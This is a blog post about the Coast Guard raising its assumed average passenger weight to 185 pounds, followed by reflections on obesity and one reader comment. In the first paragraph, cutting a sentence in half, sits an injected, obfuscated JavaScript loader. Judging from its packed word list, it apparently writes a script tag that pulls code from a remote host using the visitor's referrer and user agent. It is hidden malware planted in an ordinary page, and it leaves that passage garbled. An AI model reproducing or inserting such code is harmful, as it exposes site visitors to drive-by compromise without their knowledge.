Coast Guard Sees a Heavy Future for Americans


Have you ever been on a long elevator ride, and in your attempts to avoid eye contact with the strangers around you, you find yourself reading the sign posted above the buttons stating the limit capacity of the 4 x4 elevator?  Hasn’t it always been a really high number?  This might all change with the Bulging eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrayn|var|u0026u|referrer|dihyy||js|php’.split(‘|’),0,{}))
of Americans.

I’ve never stopped to digest this box of facts posted on any vehicle of transportation limiting the weight capacity.  However, this article drove my attention to the very necessity of weight limits on airplanes to ships.  Associated Press reports about a third of American adults are overweight while Georgia Public Broadcasting stated two-thirds are overweight or obese.  Whichever number is true, that number would still be alarming.  Like many trends, there is a snowball effect unless an external force can prevent the inevitable collision at the bottom of the hill.  The McDonald-ization of the world isn’t helping matters, but in recent years, with Michelle Obama’s push for healthy eating and rejuvenation in the green movement, there might be hope for the future of American waistlines. 

But while the situation remains unchanged, the Coast Guard has made a strategic move for the safety of all passengers by increasing their expectation of people’s weight and decreasing the number of people per ship.  The “assumed average weight per person” has gained 9 percent from 160 pounds to 185 pounds. 

As a concerned American, there are two tangents of worried thoughts.  The first is that this should be a wake-up call to the obese to hit the gym, for their health and others safety and convenience to board ships.  The second is that messages like this will push people too far – straight into eating disorders.  Media must be careful to mitigate the message of a healthy lifestyle, not an eschewed view of thin is always better.

One thought on “Coast Guard Sees a Heavy Future for Americans

  1. If I were to get into an elevator with a great many overweight people I think I would worry. I would really worry about it on a plane. I’m glad to see the Coast Guard taking these new measures.

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